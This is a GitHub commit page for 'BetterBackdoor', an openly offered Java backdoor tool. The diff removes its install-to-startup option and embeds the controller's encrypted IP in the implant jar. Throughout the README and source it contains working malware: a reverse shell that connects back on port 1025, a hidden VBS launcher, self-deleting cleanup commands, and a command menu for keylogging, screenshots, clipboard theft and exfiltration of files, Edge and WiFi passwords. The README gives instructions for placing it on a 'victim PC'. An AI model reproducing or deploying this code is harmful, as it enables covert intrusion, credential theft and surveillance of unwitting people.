Skip to content

Commit

Permalink
Merge pull request #11 from ThatcherDev/develop
Browse files Browse the repository at this point in the history
 Removed option to install backdoor and changed method of relaying IP address.
  • Loading branch information
thatcherclough authored Oct 19, 2019
2 parents b9bb353 + d7466e2 commit a3d9822
Show file tree
Hide file tree
Showing 11 changed files with 121 additions and 146 deletions.
23 changes: 9 additions & 14 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ BetterBackdoor overcomes these limitations by including the ability to inject ke
## Features
BetterBackdoor can create and controll a backdoor.

This backdoor can:
This created backdoor can:
- Run Command Prompt commands
- Run PowerShell scripts
- Run DuckyScripts to inject keystrokes
Expand All @@ -21,25 +21,20 @@ This backdoor can:
- Get data from a victim's file (cat)

To create the backdoor, BetterBackdoor:
- Copies the necessary jar files to a new directory called 'backdoor'.
- If desired, copies a Java Runtime Environment to 'backdoor'.
- Creates batch files in 'backdoor' for running the jar files in a packaged Java Runtime Environment and supplying jar files with the server's IPv4 address.
- Copies backdoor jar file to a new directory called 'backdoor' created in the current working direcotry.
- If desired, copies a Java Runtime Environment to 'backdoor' and creates batch file 'run.bat 'for running the backdoor in the packaged Java Runtime Environment.
- Copies all '.duck' DuckyScripts and '.ps1' PowerShell scripts to 'backdoor'.

To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC and execute either run.bat or install.bat.
To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.

run.bat will:
- Start the backdoor
If you packaged a JRE with the backdoor, execute run.bat, otherwise execute run.jar.

install.bat will:
- Install the backdoor to 'C:\ProgramData\USBDrivers'
- Add the backdoor to startup (if executed as administrator)
- Run the backdoor
This will start the backdoor on the victim's PC.

Once running, to control the backdoor you must return to BetterBackdoor and run option 1 at start while connected to the same WiFi network as the victim's computer.

## Requirements
- A Java JDK distribution must be installed and added to PATH.
- A Java JDK distribution >=1.8 must be installed and added to PATH.
- You must use the same computer to create and control the backdoor.
- The computer used to create the backdoor must be on the same WiFi network as the victim's computer.
- The IPv4 address of this computer must remain static in the time between creating the backdoor and controlling it.
Expand Down Expand Up @@ -71,9 +66,9 @@ sh mvnw clean package
## Usage
```
# run BetterBackdoor
java -jar BetterBackdoor.jar
java -jar betterbackdoor.jar
```

## License
- [MIT](https://choosealicense.com/licenses/mit/)
- Copyright 2019© ThatcherDev.
- Copyright 2019 © ThatcherDev.
20 changes: 1 addition & 19 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@
<artifactId>BetterBackdoor</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>BetterBackdoor</name>
<description>A backdoor creating and controlling tool.</description>
<description>A backdoor with a multitude of features.</description>

<properties>
<java.version>1.8</java.version>
Expand All @@ -29,12 +29,6 @@
<scope>test</scope>
</dependency>

<dependency>
<groupId>com.github.vatbub</groupId>
<artifactId>mslinks</artifactId>
<version>1.0.3.1</version>
</dependency>

<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
Expand Down Expand Up @@ -78,18 +72,6 @@
<goal>repackage</goal>
</goals>
</execution>

<execution>
<id>install</id>
<phase>package</phase>
<configuration>
<finalName>install</finalName>
<mainClass>com.github.thatcherdev.betterbackdoor.install.Install</mainClass>
</configuration>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -51,11 +51,9 @@ public static void main(String[] args) {
} catch (InterruptedException e) {
}
System.out.println(
"To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC and execute either run.bat or install.bat\n");
System.out.println("run.bat will:\n-Start the backdoor\n-Display information for controlling the backdoor\n");
System.out.println(
"install.bat will:\n-Install the backdoor to 'C:\\ProgramData\\USBDrivers'\n-Add the backdoor to startup (if executed as administrator)\n"
+ "-Run the backdoor\n-Display information for controlling the backdoor\n");
"To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.\n"
+ "If you packaged a JRE with the backdoor, execute run.bat, otherwise execute run.jar.\n"
+ "This will start the backdoor on the victim's PC.\n");
System.out.println("Press ENTER to exit...");
sc.nextLine();
}
Expand Down Expand Up @@ -94,21 +92,12 @@ else if (type.equals("yn"))
}

/**
* Display error message.
* Displays error message.
*
* @param errorMessage message to display
*/
public static void error(String errorMessage) {
System.out.println("An error occurred:\n" + errorMessage + "\n");
try {
Thread.sleep(3000);
} catch (Exception e) {
}
System.out.println("Program will now exit");
try {
Thread.sleep(2000);
} catch (Exception e) {
}
System.exit(0);
}
}
61 changes: 46 additions & 15 deletions src/main/java/com/github/thatcherdev/betterbackdoor/Setup.java
Original file line number Diff line number Diff line change
Expand Up @@ -4,16 +4,26 @@
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.Writer;
import java.net.URI;
import java.nio.charset.StandardCharsets;
import java.nio.file.FileSystem;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.io.FileUtils;
import com.github.thatcherdev.betterbackdoor.backend.Utils;

public class Setup {

/**
* Copy and create all necesarry files or directories needed for a working
* backdoor.
* Copys and creates all necesarry files and directories needed for a working
* backdoor to directory "backdoor".
*
* @param packageJre if the a JRE should be packaged with backdoor
* @param packageJre if a JRE should be packaged with backdoor
* @throws IOException
*/
public static void create(boolean packageJre) throws IOException {
Expand All @@ -24,37 +34,58 @@ public static void create(boolean packageJre) throws IOException {
FileUtils.copyDirectory(new File(jrePath + File.separator + "lib"),
new File("backdoor" + File.separator + "jre" + File.separator + "lib"));
} else if ((BetterBackdoor.os.contains("Linux") || BetterBackdoor.os.contains("Mac"))
&& new File("jre").isDirectory())
&& new File("jre").isDirectory()) {
FileUtils.copyDirectory(new File("jre"), new File("backdoor" + File.separator + "jre"));
createBat("backdoor" + File.separator + "run.bat", "jre", "run");
}
FileUtils.copyDirectory(new File("scripts"), new File("backdoor" + File.separator + "scripts"));
FileUtils.copyFile(new File("target" + File.separator + "run.jar"),
new File("backdoor" + File.separator + "run.jar"));
createBat("backdoor" + File.separator + "run.bat", "jre", "run");
FileUtils.copyFile(new File("target" + File.separator + "install.jar"),
new File("backdoor" + File.separator + "install.jar"));
createBat("backdoor" + File.separator + "install.bat", "jre", "install");
appendJar("backdoor" + File.separator + "run.jar", "ip", Utils.crypt(Utils.getIP(), "BetterBackdoorIP"));
}

/**
* Creates a '.bat' batch file for running a jar file in a Java Runtime
* Environment (if packaged with the jar) and suplying the jar with the server's
* IP address.
* Environment.
*
* @param filePath Path of '.bat' batch file to create.
* @param jrePath Path to jre if bundled.
* @param jrePath Path to jre.
* @param jarName Name of '.jar' file to run.
* @throws FileNotFoundException
*/
private static void createBat(String filePath, String jrePath, String jarName) throws FileNotFoundException {
PrintWriter out = new PrintWriter(new File(filePath));
out.println(
"@echo off\n%~d0 & cd %~dp0\necho Set objShell = WScript.CreateObject(\"WScript.Shell\")>run.vbs\necho objShell.Run \"cmd /c if exist "
+ jrePath + "\\ (" + jrePath + "\\bin\\java " + "-jar " + jarName + ".jar "
+ Utils.crypt(Utils.getIP(), "BetterBackdoorIP") + ") else (java -jar " + jarName + ".jar "
+ Utils.crypt(Utils.getIP(), "BetterBackdoorIP")
+ ")\", ^0, True>>run.vbs\nstart run.vbs\ncall:delvbs\n:delvbs\nif exist run.vbs (\n timeout 1 > nul\n del run.vbs\n @exit\n"
+ jrePath + "\\ (" + jrePath + "\\bin\\java " + "-jar " + jarName + ".jar) else (java -jar "
+ jarName
+ ".jar)\", ^0, True>>run.vbs\nstart run.vbs\ncall:delvbs\n:delvbs\nif exist run.vbs (\n timeout 3 > nul\n del run.vbs\n @exit\n"
+ ") else (\ncall:delvbs\n)\ngoto:eof");
out.flush();
out.close();
}

/**
* Puts a new file with name {@link newFile} and contents
* {@link newFileContents} into existing jar file with name {@link jarFile}.
*
* @param jarFile name of jar file to put new file with name
* {@link newFile} in
* @param newFile name of new file to put in jar file with name
* {@link jarFile}
* @param newFileContents contents of new file with name {@link newFile} to put
* in jar file
* @throws IOException
*/
private static void appendJar(String jarFile, String newFile, String newFileContents) throws IOException {
Map<String, String> env = new HashMap<>();
env.put("create", "true");
try (FileSystem fileSystem = FileSystems.newFileSystem(URI.create("jar:" + Paths.get(jarFile).toUri()), env)) {
try (Writer writer = Files.newBufferedWriter(fileSystem.getPath(newFile), StandardCharsets.UTF_8,
StandardOpenOption.CREATE)) {
writer.write(newFileContents);
writer.close();
}
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -14,27 +14,40 @@ public class Backdoor {
public static PrintWriter out;

/**
* Starts backdoor shell.
*
* Creates 'gathered' directory and sets {@link ip} to server IP address using
* {@link args}.
* <p>
* Attempts to connect to server with {@link ip} on port 1025. Once connected,
* initiates {@link in} and {@link out} and starts infinite loop that gets
* command from server with {@link in} and handles command with
* {@link HandleCommand.handle(String command)}. If exception is thrown,
* {@link socket}, {@link in}, and {@link out} are closed and
* {@link main(String[] args} is run.
*
* @param args Command line arguments
* Constructs and starts a new Backdoor.
*
* @param args command line arguments
*/
public static void main(String[] args) {
Backdoor backdoor = new Backdoor();
backdoor.start();
}

/**
* Uses {@link #readFromJar(String)} to get the contents of "ip", an encrypted
* plain text file, inside the jar file this class is running from, with the
* IPv4 address of the server. Creates directory "gathered".
*/
private Backdoor() {
try {
ip = Utils.crypt(args[0], "BetterBackdoorIP");
ip = Utils.crypt(readFromJar("/ip"), "BetterBackdoorIP");
new File("gathered").mkdir();
} catch (Exception e) {
System.exit(0);
}
}

/**
* Starts backdoor shell.
* <p>
* Attempts to connect to server with {@link ip} on port 1025. Once connected,
* initiates {@link in} and {@link out} and starts infinite loop that gets
* command from server with {@link in} and handles command with
* {@link HandleCommand#handle(String command)}. If exception is thrown,
* {@link socket}, {@link in}, and {@link out} are closed and {@link #start()}
* is run.
*/
private void start() {
try {
while (true)
try {
Expand All @@ -58,10 +71,25 @@ public static void main(String[] args) {
in.close();
if (out != null)
out.close();
main(args);
start();
} catch (Exception e1) {
System.exit(0);
}
}
}

/**
* Gets the contents of the file with name {@link filename} from inside the jar
* file this class is running from.
*
* @param filename name of file
* @return contents of file with name {@link filename}
*/
private String readFromJar(String filename) {
String ret = null;
Scanner in = new Scanner(getClass().getResourceAsStream(filename));
ret = in.nextLine();
in.close();
return ret;
}
}
Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
package com.github.thatcherdev.betterbackdoor.backdoor;

import java.util.Scanner;
import org.apache.commons.io.FileUtils;
import java.awt.datatransfer.DataFlavor;
import java.awt.Rectangle;
import java.awt.Robot;
Expand All @@ -18,9 +17,9 @@
public class HandleCommand {

/**
* Handles commands given to backdoor by setting {@link send} to appropriate
* response. {@link Backdoor.out} is then used to send response followed by a
* token to signal end of response.
* Handles commands given to backdoor and sets {@link send} to appropriate
* response. {@link Backdoor#out} is then used to send the response followed by
* a token to signal end of response.
*
* @param command command given to backdoor from server
*/
Expand All @@ -30,8 +29,9 @@ public static void handle(String command) {
send = "[cmd] Run Command Prompt commands\n[ps] Run a PowerShell script\n[ds] Run a DuckyScript\n"
+ "[exfiles] Exfiltarte files based on extension\n[expass] Exfiltrate Microsoft Edge and WiFi passwords\n"
+ "[filesend] Send a file to victim's computer\n[filerec] Receive a file from victim's computer\n"
+ "[keylog] Start a KeyLogger on victim's computer\n[ss] Get screenshot of vitim's computer\n[cb] Get text currently copied to victim's clipboard\n"
+ "[cat] Get data of a file on victim's computer\n[remove] Remove backdoor and all backdoor files from victim's computer\n[exit] Exit";
+ "[keylog] Start a KeyLogger on victim's computer\n[ss] Get screenshot of vitim's computer\n"
+ "[cb] Get text currently copied to victim's clipboard\n[cat] Get data of a file on victim's computer\n"
+ "[remove] Remove backdoor and all backdoor files from victim's computer\n[exit] Exit";
else if (command.startsWith("cmd"))
send = Utils.runCommand(command.substring(4));
else if (command.startsWith("ps"))
Expand Down Expand Up @@ -72,7 +72,6 @@ else if (command.equals("expass")) {
send = "An error occurred when trying to receive file";
} else if (command.equals("keylog")) {
Thread keyLogger = new Thread() {
@Override
public void run() {
KeyLogger.start();
}
Expand Down Expand Up @@ -113,17 +112,8 @@ else if (command.startsWith("cat")) {
}
} else if (command.equals("remove")) {
try {
if (new File("C:\\Users\\" + System.getProperty("user.name")
+ "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\USBDrivers.lnk")
.exists())
FileUtils.forceDelete(new File("C:\\Users\\" + System.getProperty("user.name")
+ "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\USBDrivers.lnk"));
if (new File("USBDrivers.jar").exists())
Runtime.getRuntime().exec(
"cmd /c ping localhost -n 5 > nul && del /f /q USBDrivers.jar USBDrivers.vbs && rd /s /q gathered jre scripts && cd.. && rd /s /q USBDrivers");
if (new File("run.jar").exists())
Runtime.getRuntime().exec(
"cmd /c ping localhost -n 5 > nul && del /f /q run.jar run.bat install.jar install.bat && rd /s /q gathered jre scripts");
Runtime.getRuntime().exec(
"cmd /c ping localhost -n 5 > nul && del /f /q run.jar run.bat && rd /s /q gathered scripts jre");
System.exit(0);
} catch (Exception e) {
send = "An error occurred when trying to remove files:\n" + e.getMessage();
Expand Down
Loading

0 comments on commit a3d9822

Please sign in to comment.